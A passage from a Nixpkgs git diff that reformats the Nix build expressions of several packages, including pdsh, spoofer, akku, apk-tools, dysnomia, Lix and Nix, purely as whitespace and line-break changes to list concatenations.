+++ b/pkgs/tools/networking/pdsh/default.nix
@@ -24,7 +24,8 @@ stdenv.mkDerivation rec {
     perl
     readline
     ssh
-  ] ++ (lib.optional slurmSupport slurm);
+  ]
+  ++ (lib.optional slurmSupport slurm);
 
   nativeBuildInputs = [ autoreconfHook ];
 
diff --git a/pkgs/tools/networking/spoofer/default.nix b/pkgs/tools/networking/spoofer/default.nix
index 2f7093bfb6a4..83a282e074a6 100644
--- a/pkgs/tools/networking/spoofer/default.nix
+++ b/pkgs/tools/networking/spoofer/default.nix
@@ -30,7 +30,8 @@ stdenv.mkDerivation rec {
     protobuf
     libpcap
     traceroute
-  ] ++ optional withGUI qt5.qtbase;
+  ]
+  ++ optional withGUI qt5.qtbase;
 
   dontWrapQtApps = true;
 
diff --git a/pkgs/tools/package-management/akku/akkuDerivation.nix b/pkgs/tools/package-management/akku/akkuDerivation.nix
index 27d2b10bcda1..eb79b353d437 100644
--- a/pkgs/tools/package-management/akku/akkuDerivation.nix
+++ b/pkgs/tools/package-management/akku/akkuDerivation.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation (
       akku
       chez
       chibi
-    ] ++ nativeBuildInputs;
+    ]
+    ++ nativeBuildInputs;
     buildPhase = ''
       runHook preBuild
 
@@ -114,7 +115,8 @@ stdenv.mkDerivation (
     '';
     meta = {
       inherit (akku.meta) platforms;
-    } // args.meta or { };
+    }
+    // args.meta or { };
     setupHook = ./setup-hook.sh;
   }
   // builtins.removeAttrs args [
diff --git a/pkgs/tools/package-management/apk-tools/default.nix b/pkgs/tools/package-management/apk-tools/default.nix
index a3283ce08f11..c2a38d10bb78 100644
--- a/pkgs/tools/package-management/apk-tools/default.nix
+++ b/pkgs/tools/package-management/apk-tools/default.nix
@@ -22,19 +22,19 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-9TSkcJe7FVdTtfcCmwp+IWMYa/OL9OXJwPcKLyj5AAA=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      scdoc
-    ]
-    ++ lib.optionals luaSupport [
-      lua
-      lua.pkgs.lua-zlib
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    scdoc
+  ]
+  ++ lib.optionals luaSupport [
+    lua
+    lua.pkgs.lua-zlib
+  ];
   buildInputs = [
     openssl
     zlib
-  ] ++ lib.optional luaSupport lua;
+  ]
+  ++ lib.optional luaSupport lua;
   strictDeps = true;
 
   makeFlags = [
diff --git a/pkgs/tools/package-management/disnix/dysnomia/default.nix b/pkgs/tools/package-management/disnix/dysnomia/default.nix
index 2500e47f36cf..a4c4f40b99d3 100644
--- a/pkgs/tools/package-management/disnix/dysnomia/default.nix
+++ b/pkgs/tools/package-management/disnix/dysnomia/default.nix
@@ -77,28 +77,28 @@ stdenv.mkDerivation rec {
     (if enableS6RCService then "--with-s6-rc" else "--without-s6-rc")
     (if stdenv.hostPlatform.isDarwin then "--with-launchd" else "--without-launchd")
     "--with-job-template=${jobTemplate}"
-  ] ++ lib.optional enableLegacy "--enable-legacy";
+  ]
+  ++ lib.optional enableLegacy "--enable-legacy";
 
-  buildInputs =
-    [
-      getopt
-      netcat
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux systemd
-    ++ lib.optional enableEjabberdDump ejabberd
-    ++ lib.optional enableMySQLDatabase mariadb.out
-    ++ lib.optional enablePostgreSQLDatabase libpq
-    ++ lib.optional enableSubversionRepository subversion
-    ++ lib.optionals enableMongoDatabase [
-      mongodb
-      mongodb-tools
-    ]
-    ++ lib.optional enableInfluxDatabase influxdb
-    ++ lib.optional enableSupervisordProgram supervisor
-    ++ lib.optional enableDockerContainer docker
-    ++ lib.optional enableNginxWebApplication nginx
-    ++ lib.optional enableS6RCService s6-rc
-    ++ lib.optional enableXinetdService xinetd;
+  buildInputs = [
+    getopt
+    netcat
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux systemd
+  ++ lib.optional enableEjabberdDump ejabberd
+  ++ lib.optional enableMySQLDatabase mariadb.out
+  ++ lib.optional enablePostgreSQLDatabase libpq
+  ++ lib.optional enableSubversionRepository subversion
+  ++ lib.optionals enableMongoDatabase [
+    mongodb
+    mongodb-tools
+  ]
+  ++ lib.optional enableInfluxDatabase influxdb
+  ++ lib.optional enableSupervisordProgram supervisor
+  ++ lib.optional enableDockerContainer docker
+  ++ lib.optional enableNginxWebApplication nginx
+  ++ lib.optional enableS6RCService s6-rc
+  ++ lib.optional enableXinetdService xinetd;
 
   meta = {
     description = "Automated deployment of mutable components and services for Disnix";
diff --git a/pkgs/tools/package-management/lix/common-lix.nix b/pkgs/tools/package-management/lix/common-lix.nix
index 5db09e129f55..5d11246f60c3 100644
--- a/pkgs/tools/package-management/lix/common-lix.nix
+++ b/pkgs/tools/package-management/lix/common-lix.nix
@@ -113,16 +113,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   inherit src patches;
 
-  outputs =
-    [
-      "out"
-      "dev"
-    ]
-    ++ lib.optionals enableDocumentation [
-      "man"
-      "doc"
-      "devdoc"
-    ];
+  outputs = [
+    "out"
+    "dev"
+  ]
+  ++ lib.optionals enableDocumentation [
+    "man"
+    "doc"
+    "devdoc"
+  ];
 
   strictDeps = true;
   disallowedReferences = lib.optionals isLLVMOnly [
@@ -135,76 +134,74 @@ stdenv.mkDerivation (finalAttrs: {
   # We only include CMake so that Meson can locate toml11, which only ships CMake dependency metadata.
   dontUseCmakeConfigure = true;
 
-  nativeBuildInputs =
-    [
-      # python3.withPackages does not splice properly, see https://github.com/NixOS/nixpkgs/issues/305858
-      (python3.pythonOnBuildForHost.withPackages (p: [
-        p.pytest
-        p.pytest-xdist
-        p.python-frontmatter
-        p.toml
-      ]))
-      pkg-config
-      flex
-      jq
-      meson
-      ninja
-      cmake
-      python3
-      # Required for libstd++ assertions that leaks inside of the final binary.
-      removeReferencesTo
+  nativeBuildInputs = [
+    # python3.withPackages does not splice properly, see https://github.com/NixOS/nixpkgs/issues/305858
+    (python3.pythonOnBuildForHost.withPackages (p: [
+      p.pytest
+      p.pytest-xdist
+      p.python-frontmatter
+      p.toml
+    ]))
+    pkg-config
+    flex
+    jq
+    meson
+    ninja
+    cmake
+    python3
+    # Required for libstd++ assertions that leaks inside of the final binary.
+    removeReferencesTo
 
-      # Tests
-      git
-      mercurial
-      jq
-      lsof
-    ]
-    ++ lib.optionals isLLVMOnly [
-      rustc
-      cargo
-      rustPlatform.cargoSetupHook
-    ]
-    ++ lib.optionals isLegacyParser [ bison ]
-    ++ lib.optionals enableDocumentation [
-      (lib.getBin lowdown-unsandboxed)
-      mdbook
-      mdbook-linkcheck
-      doxygen
-    ]
-    ++ lib.optionals (hasDtraceSupport && withDtrace) [ systemtap-sdt ]
-    ++ lib.optionals pastaFod [ passt ]
-    ++ lib.optionals parseToYAML [ yq ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ util-linuxMinimal ];
+    # Tests
+    git
+    mercurial
+    jq
+    lsof
+  ]
+  ++ lib.optionals isLLVMOnly [
+    rustc
+    cargo
+    rustPlatform.cargoSetupHook
+  ]
+  ++ lib.optionals isLegacyParser [ bison ]
+  ++ lib.optionals enableDocumentation [
+    (lib.getBin lowdown-unsandboxed)
+    mdbook
+    mdbook-linkcheck
+    doxygen
+  ]
+  ++ lib.optionals (hasDtraceSupport && withDtrace) [ systemtap-sdt ]
+  ++ lib.optionals pastaFod [ passt ]
+  ++ lib.optionals parseToYAML [ yq ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ util-linuxMinimal ];
 
-  buildInputs =
-    [
-      boost
-      brotli
-      bzip2
-      curl
-      capnproto
-      editline
-      libsodium
-      openssl
-      sqlite
-      xz
-      gtest
-      libarchive
-      lowdown
-      rapidcheck
-      toml11
-    ]
-    ++ lib.optionals hasExternalLixDoc [ lix-doc ]
-    ++ lib.optionals (!isLegacyParser) [ pegtl ]
-    # NOTE(Raito): I'd have expected that the LLVM packaging would inject the
-    # libunwind library path directly in the wrappers, but it does inject
-    # -lunwind without injecting the library path...
-    ++ lib.optionals stdenv.hostPlatform.isStatic [ llvmPackages.libunwind ]
-    ++ lib.optionals (stdenv.hostPlatform.isx86_64) [ libcpuid ]
-    ++ lib.optionals withLibseccomp [ libseccomp ]
-    ++ lib.optionals withAWS [ aws-sdk-cpp ]
-    ++ lib.optionals (hasDtraceSupport && withDtrace) [ libsystemtap ];
+  buildInputs = [
+    boost
+    brotli
+    bzip2
+    curl
+    capnproto
+    editline
+    libsodium
+    openssl
+    sqlite
+    xz
+    gtest
+    libarchive
+    lowdown
+    rapidcheck
+    toml11
+  ]
+  ++ lib.optionals hasExternalLixDoc [ lix-doc ]
+  ++ lib.optionals (!isLegacyParser) [ pegtl ]
+  # NOTE(Raito): I'd have expected that the LLVM packaging would inject the
+  # libunwind library path directly in the wrappers, but it does inject
+  # -lunwind without injecting the library path...
+  ++ lib.optionals stdenv.hostPlatform.isStatic [ llvmPackages.libunwind ]
+  ++ lib.optionals (stdenv.hostPlatform.isx86_64) [ libcpuid ]
+  ++ lib.optionals withLibseccomp [ libseccomp ]
+  ++ lib.optionals withAWS [ aws-sdk-cpp ]
+  ++ lib.optionals (hasDtraceSupport && withDtrace) [ libsystemtap ];
 
   inherit cargoDeps;
 
@@ -254,34 +251,33 @@ stdenv.mkDerivation (finalAttrs: {
   # We use -O2 upstream https://gerrit.lix.systems/c/lix/+/554
   mesonBuildType = "debugoptimized";
 
-  mesonFlags =
-    [
-      # Enable LTO, since it improves eval performance a fair amount
-      # LTO is disabled on:
-      # - static builds (strange linkage errors)
-      # - darwin builds (install test failures. see fj#568 & fj#832)
-      (lib.mesonBool "b_lto" (
-        !stdenv.hostPlatform.isStatic && !stdenv.hostPlatform.isDarwin && (isLLVMOnly || stdenv.cc.isGNU)
-      ))
-      (lib.mesonEnable "gc" true)
-      (lib.mesonBool "enable-tests" true)
-      (lib.mesonBool "enable-docs" enableDocumentation)
-      (lib.mesonEnable "internal-api-docs" enableDocumentation)
-      (lib.mesonBool "enable-embedded-sandbox-shell" (
-        stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isStatic
-      ))
-      (lib.mesonEnable "seccomp-sandboxing" withLibseccomp)
+  mesonFlags = [
+    # Enable LTO, since it improves eval performance a fair amount
+    # LTO is disabled on:
+    # - static builds (strange linkage errors)
+    # - darwin builds (install test failures. see fj#568 & fj#832)
+    (lib.mesonBool "b_lto" (
+      !stdenv.hostPlatform.isStatic && !stdenv.hostPlatform.isDarwin && (isLLVMOnly || stdenv.cc.isGNU)
+    ))
+    (lib.mesonEnable "gc" true)
+    (lib.mesonBool "enable-tests" true)
+    (lib.mesonBool "enable-docs" enableDocumentation)
+    (lib.mesonEnable "internal-api-docs" enableDocumentation)
+    (lib.mesonBool "enable-embedded-sandbox-shell" (
+      stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isStatic
+    ))
+    (lib.mesonEnable "seccomp-sandboxing" withLibseccomp)
 
-      (lib.mesonOption "store-dir" storeDir)
-      (lib.mesonOption "state-dir" stateDir)
-      (lib.mesonOption "sysconfdir" confDir)
-    ]
-    ++ lib.optionals hasDtraceSupport [
-      (lib.mesonEnable "dtrace-probes" withDtrace)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      (lib.mesonOption "sandbox-shell" "${busybox-sandbox-shell}/bin/busybox")
-    ];
+    (lib.mesonOption "store-dir" storeDir)
+    (lib.mesonOption "state-dir" stateDir)
+    (lib.mesonOption "sysconfdir" confDir)
+  ]
+  ++ lib.optionals hasDtraceSupport [
+    (lib.mesonEnable "dtrace-probes" withDtrace)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    (lib.mesonOption "sandbox-shell" "${busybox-sandbox-shell}/bin/busybox")
+  ];
 
   ninjaFlags = [ "-v" ];
 
@@ -351,14 +347,13 @@ stdenv.mkDerivation (finalAttrs: {
     meson test --no-rebuild "''${flagsArray[@]}"
     runHook postInstallCheck
   '';
-  hardeningDisable =
-    [
-      "shadowstack"
-      # strictoverflow is disabled because we trap on signed overflow instead
-      "strictoverflow"
-    ]
-    # fortify breaks the build with lto and musl for some reason
-    ++ lib.optional stdenv.hostPlatform.isMusl "fortify";
+  hardeningDisable = [
+    "shadowstack"
+    # strictoverflow is disabled because we trap on signed overflow instead
+    "strictoverflow"
+  ]
+  # fortify breaks the build with lto and musl for some reason
+  ++ lib.optional stdenv.hostPlatform.isMusl "fortify";
 
   # hardeningEnable = lib.optionals (!stdenv.hostPlatform.isDarwin) [ "pie" ];
   separateDebugInfo = stdenv.hostPlatform.isLinux && !enableStatic;
diff --git a/pkgs/tools/package-management/lix/common-nix-eval-jobs.nix b/pkgs/tools/package-management/lix/common-nix-eval-jobs.nix
index 07237c34ee3a..26fdc0e2706b 100644
--- a/pkgs/tools/package-management/lix/common-nix-eval-jobs.nix
+++ b/pkgs/tools/package-management/lix/common-nix-eval-jobs.nix
@@ -25,22 +25,22 @@ stdenv.mkDerivation {
   version = "${version}${suffix}";
   inherit src patches;
   sourceRoot = if lib.versionAtLeast version "2.93" then "source/subprojects/nix-eval-jobs" else null;
-  buildInputs =
-    [
-      nlohmann_json
-      lix
-      boost
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "2.93") [
-      capnproto
-    ];
+  buildInputs = [
+    nlohmann_json
+    lix
+    boost
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "2.93") [
+    capnproto
+  ];
   nativeBuildInputs = [
     meson
     pkg-config
     ninja
     # nlohmann_json can be only discovered via cmake files
     cmake
-  ] ++ (lib.optional stdenv.cc.isClang [ buildPackages.clang-tools ]);
+  ]
+  ++ (lib.optional stdenv.cc.isClang [ buildPackages.clang-tools ]);
 
   # point 'nix edit' and ofborg at the file that defines the attribute,
   # not this common file.
diff --git a/pkgs/tools/package-management/nix/common-autoconf.nix b/pkgs/tools/package-management/nix/common-autoconf.nix
index 045670ac578e..08eb93840caa 100644
--- a/pkgs/tools/package-management/nix/common-autoconf.nix
+++ b/pkgs/tools/package-management/nix/common-autoconf.nix
@@ -96,95 +96,92 @@ let
 
     inherit src patches;
 
-    outputs =
-      [
-        "out"
-        "dev"
-      ]
-      ++ lib.optionals enableDocumentation [
-        "man"
-        "doc"
-      ];
+    outputs = [
+      "out"
+      "dev"
+    ]
+    ++ lib.optionals enableDocumentation [
+      "man"
+      "doc"
+    ];
 
     hardeningEnable = lib.optionals (!stdenv.hostPlatform.isDarwin) [ "pie" ];
 
     hardeningDisable = [
       "shadowstack"
-    ] ++ lib.optional stdenv.hostPlatform.isMusl "fortify";
+    ]
+    ++ lib.optional stdenv.hostPlatform.isMusl "fortify";
 
     nativeInstallCheckInputs = lib.optional atLeast224 [
       git
       man
     ];
 
-    nativeBuildInputs =
-      [
-        pkg-config
-        autoconf-archive
-        autoreconfHook
-        bison
-        flex
-        jq
-      ]
-      ++ lib.optionals enableDocumentation (
-        if atLeast224 then
-          [
-            (lib.getBin lowdown-unsandboxed)
-            mdbook
-            mdbook-linkcheck
-          ]
-        else
-          [
-            libxslt
-            libxml2
-            docbook_xsl_ns
-            docbook5
-          ]
-      )
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        util-linuxMinimal
-      ];
+    nativeBuildInputs = [
+      pkg-config
+      autoconf-archive
+      autoreconfHook
+      bison
+      flex
+      jq
+    ]
+    ++ lib.optionals enableDocumentation (
+      if atLeast224 then
+        [
+          (lib.getBin lowdown-unsandboxed)
+          mdbook
+          mdbook-linkcheck
+        ]
+      else
+        [
+          libxslt
+          libxml2
+          docbook_xsl_ns
+          docbook5
+        ]
+    )
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      util-linuxMinimal
+    ];
 
-    buildInputs =
-      [
-        boost
-        brotli
-        bzip2
-        curl
-        editline
-        libsodium
-        openssl
-        sqlite
-        xz
-        gtest
-        libarchive
-        lowdown
-      ]
-      ++ lib.optionals atLeast224 [
-        libgit2
-        toml11
-        rapidcheck
-      ]
-      ++ lib.optionals (atLeast225 && enableDocumentation) [
-        python3
-      ]
-      ++ lib.optionals (stdenv.hostPlatform.isx86_64) [
-        libcpuid
-      ]
-      ++ lib.optionals withLibseccomp [
-        libseccomp
-      ]
-      ++ lib.optionals withAWS [
-        aws-sdk-cpp
-      ];
+    buildInputs = [
+      boost
+      brotli
+      bzip2
+      curl
+      editline
+      libsodium
+      openssl
+      sqlite
+      xz
+      gtest
+      libarchive
+      lowdown
+    ]
+    ++ lib.optionals atLeast224 [
+      libgit2
+      toml11
+      rapidcheck
+    ]
+    ++ lib.optionals (atLeast225 && enableDocumentation) [
+      python3
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isx86_64) [
+      libcpuid
+    ]
+    ++ lib.optionals withLibseccomp [
+      libseccomp
+    ]
+    ++ lib.optionals withAWS [
+      aws-sdk-cpp
+    ];
 
-    propagatedBuildInputs =
-      [
-        boehmgc
-      ]
-      ++ lib.optionals atLeast224 [
-        nlohmann_json
-      ];
+    propagatedBuildInputs = [
+      boehmgc
+    ]
+    ++ lib.optionals atLeast224 [
+      nlohmann_json
+    ];
 
     postPatch = ''
       patchShebangs --build tests
@@ -220,50 +217,48 @@ let
           mv tmp/config.nix.in corepkgs/config.nix.in
         '';
 
-    configureFlags =
-      [
-        "--with-store-dir=${storeDir}"
-        "--localstatedir=${stateDir}"
-        "--sysconfdir=${confDir}"
-        "--enable-gc"
-      ]
-      ++ lib.optionals (!enableDocumentation) [
-        "--disable-doc-gen"
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        "--with-sandbox-shell=${busybox-sandbox-shell}/bin/busybox"
-      ]
-      ++ lib.optionals (atLeast224 && stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isStatic) [
-        "--enable-embedded-sandbox-shell"
-      ]
-      ++
-        lib.optionals
-          (
-            stdenv.hostPlatform != stdenv.buildPlatform
-            && stdenv.hostPlatform ? nix
-            && stdenv.hostPlatform.nix ? system
-          )
-          [
-            "--with-system=${stdenv.hostPlatform.nix.system}"
-          ]
-      ++ lib.optionals (!withLibseccomp) [
-        # RISC-V support in progress https://github.com/seccomp/libseccomp/pull/50
-        "--disable-seccomp-sandboxing"
-      ]
-      ++ lib.optionals (atLeast224 && stdenv.cc.isGNU && !enableStatic) [
-        "--enable-lto"
-      ];
+    configureFlags = [
+      "--with-store-dir=${storeDir}"
+      "--localstatedir=${stateDir}"
+      "--sysconfdir=${confDir}"
+      "--enable-gc"
+    ]
+    ++ lib.optionals (!enableDocumentation) [
+      "--disable-doc-gen"
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      "--with-sandbox-shell=${busybox-sandbox-shell}/bin/busybox"
+    ]
+    ++ lib.optionals (atLeast224 && stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isStatic) [
+      "--enable-embedded-sandbox-shell"
+    ]
+    ++
+      lib.optionals
+        (
+          stdenv.hostPlatform != stdenv.buildPlatform
+          && stdenv.hostPlatform ? nix
+          && stdenv.hostPlatform.nix ? system
+        )
+        [
+          "--with-system=${stdenv.hostPlatform.nix.system}"
+        ]
+    ++ lib.optionals (!withLibseccomp) [
+      # RISC-V support in progress https://github.com/seccomp/libseccomp/pull/50
+      "--disable-seccomp-sandboxing"
+    ]
+    ++ lib.optionals (atLeast224 && stdenv.cc.isGNU && !enableStatic) [
+      "--enable-lto"
+    ];
 
-    makeFlags =
-      [
-        # gcc runs multi-threaded LTO using make and does not yet detect the new fifo:/path style
-        # of make jobserver. until gcc adds support for this we have to instruct make to use this
-        # old style or LTO builds will run their linking on only one thread, which takes forever.
-        "--jobserver-style=pipe"
-        "profiledir=$(out)/etc/profile.d"
-      ]
-      ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "PRECOMPILE_HEADERS=0"
-      ++ lib.optional (stdenv.hostPlatform.isDarwin) "PRECOMPILE_HEADERS=1";
+    makeFlags = [
+      # gcc runs multi-threaded LTO using make and does not yet detect the new fifo:/path style
+      # of make jobserver. until gcc adds support for this we have to instruct make to use this
+      # old style or LTO builds will run their linking on only one thread, which takes forever.
+      "--jobserver-style=pipe"
+      "profiledir=$(out)/etc/profile.d"
+    ]
+    ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "PRECOMPILE_HEADERS=0"
+    ++ lib.optional (stdenv.hostPlatform.isDarwin) "PRECOMPILE_HEADERS=1";
 
     installFlags = [ "sysconfdir=$(out)/etc" ];
 
diff --git a/pkgs/tools/package-management/nix/common-meson.nix b/pkgs/tools/package-management/nix/common-meson.nix
index 8775feab540f..fb100abc491d 100644
--- a/pkgs/tools/package-management/nix/common-meson.nix
+++ b/pkgs/tools/package-management/nix/common-meson.nix
@@ -87,78 +87,76 @@ stdenv.mkDerivation (finalAttrs: {
 
   inherit src patches;
 
-  outputs =
-    [
-      "out"
-      "dev"
-    ]
-    ++ lib.optionals enableDocumentation [
-      "man"
-      "doc"
-    ];
+  outputs = [
+    "out"
+    "dev"
+  ]
+  ++ lib.optionals enableDocumentation [
+    "man"
+    "doc"
+  ];
 
   hardeningEnable = lib.optionals (!stdenv.hostPlatform.isDarwin) [ "pie" ];
 
   hardeningDisable = [
     "shadowstack"
-  ] ++ lib.optional stdenv.hostPlatform.isMusl "fortify";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isMusl "fortify";
 
   nativeCheckInputs = [
     git
     man
   ];
 
-  nativeBuildInputs =
-    [
-      bison
-      cmake
-      flex
-      jq
-      meson
-      ninja
-      pkg-config
-      rsync
-    ]
-    ++ lib.optionals enableDocumentation [
-      (lib.getBin lowdown-unsandboxed)
-      mdbook
-      mdbook-linkcheck
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      util-linuxMinimal
-    ]
-    ++ lib.optionals enableDocumentation [
-      python3
-      doxygen
-    ];
+  nativeBuildInputs = [
+    bison
+    cmake
+    flex
+    jq
+    meson
+    ninja
+    pkg-config
+    rsync
+  ]
+  ++ lib.optionals enableDocumentation [
+    (lib.getBin lowdown-unsandboxed)
+    mdbook
+    mdbook-linkcheck
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    util-linuxMinimal
+  ]
+  ++ lib.optionals enableDocumentation [
+    python3
+    doxygen
+  ];
 
-  buildInputs =
-    [
-      boost
-      brotli
-      bzip2
-      curl
-      editline
-      libgit2
-      libsodium
-      lowdown
-      openssl
-      sqlite
-      toml11
-      xz
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "2.26") [
-      libblake3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      libcpuid
-    ]
-    ++ lib.optionals withLibseccomp [
-      libseccomp
-    ]
-    ++ lib.optionals withAWS [
-      aws-sdk-cpp
-    ];
+  buildInputs = [
+    boost
+    brotli
+    bzip2
+    curl
+    editline
+    libgit2
+    libsodium
+    lowdown
+    openssl
+    sqlite
+    toml11
+    xz
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "2.26") [
+    libblake3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    libcpuid
+  ]
+  ++ lib.optionals withLibseccomp [
+    libseccomp
+  ]
+  ++ lib.optionals withAWS [
+    aws-sdk-cpp
+  ];
 
   propagatedBuildInputs = [
     boehmgc
@@ -190,28 +188,27 @@ stdenv.mkDerivation (finalAttrs: {
 
   dontUseCmakeConfigure = true;
 
-  mesonFlags =
-    [
-      (lib.mesonBool "unit-tests" (stdenv.buildPlatform.canExecute stdenv.hostPlatform))
-      (lib.mesonBool "bindings" false)
-      (lib.mesonOption "libstore:store-dir" storeDir)
-      (lib.mesonOption "libstore:localstatedir" stateDir)
-      (lib.mesonOption "libstore:sysconfdir" confDir)
-      (lib.mesonEnable "libutil:cpuid" stdenv.hostPlatform.isx86_64)
-      (lib.mesonEnable "libstore:seccomp-sandboxing" withLibseccomp)
-      (lib.mesonBool "libstore:embedded-sandbox-shell" (
-        stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isStatic
-      ))
-      (lib.mesonBool "doc-gen" enableDocumentation)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      (lib.mesonOption "libstore:sandbox-shell" "${busybox-sandbox-shell}/bin/busybox")
-      # RISC-V support in progress https://github.com/seccomp/libseccomp/pull/50
-    ]
-    ++ lib.optionals (stdenv.cc.isGNU && !enableStatic) [
-      # TODO: do we still need this?
-      # "--enable-lto"
-    ];
+  mesonFlags = [
+    (lib.mesonBool "unit-tests" (stdenv.buildPlatform.canExecute stdenv.hostPlatform))
+    (lib.mesonBool "bindings" false)
+    (lib.mesonOption "libstore:store-dir" storeDir)
+    (lib.mesonOption "libstore:localstatedir" stateDir)
+    (lib.mesonOption "libstore:sysconfdir" confDir)
+    (lib.mesonEnable "libutil:cpuid" stdenv.hostPlatform.isx86_64)
+    (lib.mesonEnable "libstore:seccomp-sandboxing" withLibseccomp)
+    (lib.mesonBool "libstore:embedded-sandbox-shell" (
+      stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isStatic
+    ))
+    (lib.mesonBool "doc-gen" enableDocumentation)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    (lib.mesonOption "libstore:sandbox-shell" "${busybox-sandbox-shell}/bin/busybox")
+    # RISC-V support in progress https://github.com/seccomp/libseccomp/pull/50
+  ]
+  ++ lib.optionals (stdenv.cc.isGNU && !enableStatic) [
+    # TODO: do we still need this?
+    # "--enable-lto"
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/tools/package-management/nix/dependencies.nix b/pkgs/tools/package-management/nix/dependencies.nix
index a736181cf563..281b1f6c390c 100644
--- a/pkgs/tools/package-management/nix/dependencies.nix
+++ b/pkgs/tools/package-management/nix/dependencies.nix
@@ -29,39 +29,38 @@ regular@{
             rev = version;
             hash = "sha256-Z1eRKW+8nVD53GkNyYlZjCcT74MqFqqRMeMc33eIQ9g=";
           };
-          postPatch =
-            ''
-              # Avoid blanket -Werror to evade build failures on less
-              # tested compilers.
-              substituteInPlace cmake/compiler_settings.cmake \
-                --replace '"-Werror"' ' '
+          postPatch = ''
+            # Avoid blanket -Werror to evade build failures on less
+            # tested compilers.
+            substituteInPlace cmake/compiler_settings.cmake \
+              --replace '"-Werror"' ' '
 
-              # Missing includes for GCC11
-              sed '5i#include <thread>' -i \
-                aws-cpp-sdk-cloudfront-integration-tests/CloudfrontOperationTest.cpp \
-                aws-cpp-sdk-cognitoidentity-integration-tests/IdentityPoolOperationTest.cpp \
-                aws-cpp-sdk-dynamodb-integration-tests/TableOperationTest.cpp \
-                aws-cpp-sdk-elasticfilesystem-integration-tests/ElasticFileSystemTest.cpp \
-                aws-cpp-sdk-lambda-integration-tests/FunctionTest.cpp \
-                aws-cpp-sdk-mediastore-data-integration-tests/MediaStoreDataTest.cpp \
-                aws-cpp-sdk-queues/source/sqs/SQSQueue.cpp \
-                aws-cpp-sdk-redshift-integration-tests/RedshiftClientTest.cpp \
-                aws-cpp-sdk-s3-crt-integration-tests/BucketAndObjectOperationTest.cpp \
-                aws-cpp-sdk-s3-integration-tests/BucketAndObjectOperationTest.cpp \
-                aws-cpp-sdk-s3control-integration-tests/S3ControlTest.cpp \
-                aws-cpp-sdk-sqs-integration-tests/QueueOperationTest.cpp \
-                aws-cpp-sdk-transfer-tests/TransferTests.cpp
-              # Flaky on Hydra
-              rm aws-cpp-sdk-core-tests/aws/auth/AWSCredentialsProviderTest.cpp
-              # Includes aws-c-auth private headers, so only works with submodule build
-              rm aws-cpp-sdk-core-tests/aws/auth/AWSAuthSignerTest.cpp
-              # TestRandomURLMultiThreaded fails
-              rm aws-cpp-sdk-core-tests/http/HttpClientTest.cpp
-            ''
-            + lib.optionalString aws-sdk-cpp.stdenv.hostPlatform.isi686 ''
-              # EPSILON is exceeded
-              rm aws-cpp-sdk-core-tests/aws/client/AdaptiveRetryStrategyTest.cpp
-            '';
+            # Missing includes for GCC11
+            sed '5i#include <thread>' -i \
+              aws-cpp-sdk-cloudfront-integration-tests/CloudfrontOperationTest.cpp \
+              aws-cpp-sdk-cognitoidentity-integration-tests/IdentityPoolOperationTest.cpp \
+              aws-cpp-sdk-dynamodb-integration-tests/TableOperationTest.cpp \
+              aws-cpp-sdk-elasticfilesystem-integration-tests/ElasticFileSystemTest.cpp \
+              aws-cpp-sdk-lambda-integration-tests/FunctionTest.cpp \
+              aws-cpp-sdk-mediastore-data-integration-tests/MediaStoreDataTest.cpp \
+              aws-cpp-sdk-queues/source/sqs/SQSQueue.cpp \
+              aws-cpp-sdk-redshift-integration-tests/RedshiftClientTest.cpp \
+              aws-cpp-sdk-s3-crt-integration-tests/BucketAndObjectOperationTest.cpp \
+              aws-cpp-sdk-s3-integration-tests/BucketAndObjectOperationTest.cpp \
+              aws-cpp-sdk-s3control-integration-tests/S3ControlTest.cpp \
+              aws-cpp-sdk-sqs-integration-tests/QueueOperationTest.cpp \
+              aws-cpp-sdk-transfer-tests/TransferTests.cpp
+            # Flaky on Hydra
+            rm aws-cpp-sdk-core-tests/aws/auth/AWSCredentialsProviderTest.cpp
+            # Includes aws-c-auth private headers, so only works with submodule build
+            rm aws-cpp-sdk-core-tests/aws/auth/AWSAuthSignerTest.cpp
+            # TestRandomURLMultiThreaded fails
+            rm aws-cpp-sdk-core-tests/http/HttpClientTest.cpp
+          ''
+          + lib.optionalString aws-sdk-cpp.stdenv.hostPlatform.isi686 ''
+            # EPSILON is exceeded
+            rm aws-cpp-sdk-core-tests/aws/client/AdaptiveRetryStrategyTest.cpp
+          '';
 
           patches = (args.patches or [ ]) ++ [ ./patches/aws-sdk-cpp-TransferManager-ContentEncoding.patch ];
 
diff --git a/pkgs/tools/package-management/nix/modular/packaging/components.nix b/pkgs/tools/package-management/nix/modular/packaging/components.nix
